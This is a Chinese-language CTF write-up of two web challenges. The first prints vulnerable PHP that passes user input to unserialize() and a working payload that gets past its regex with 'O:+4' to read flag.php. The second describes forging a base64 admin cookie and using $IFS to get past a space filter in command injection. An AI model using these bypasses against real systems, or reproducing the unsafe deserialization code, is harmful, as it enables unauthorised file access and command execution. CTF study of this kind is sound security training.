打开页面出现代码,unserialize,需要反序列化,正则筛选值preg_match('/[oc]:\d+:/i',$data,$matches);
发现过滤了O:4这类值,用O:+4可以过滤.
正常反序列化 O:4:"baby":1:{s:4:"file";s:8:"flag.php";}会被过滤
所以用O:+4:"baby":1:{s:4:"file";s:8:"flag.php";} 绕过正则.
得到flag{ad2328a2c3f0933c053fd3c6f28f6143}.
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
ezweb2-安恒12月月赛
扫目录,扫到了admin.php,页面提示,you are not admin,想到了改cookie
发现cookie里面有user,将其解码是base64加密,所以把admin用base64加密,进入了后台管理系统,发现是个任意漏洞命令执行.ls能执行,又试了下ls /报错了,后面发现空格被过滤了.百度了下发现$IFS能够绕过.
发现了ffLAG_404,打开获得了flag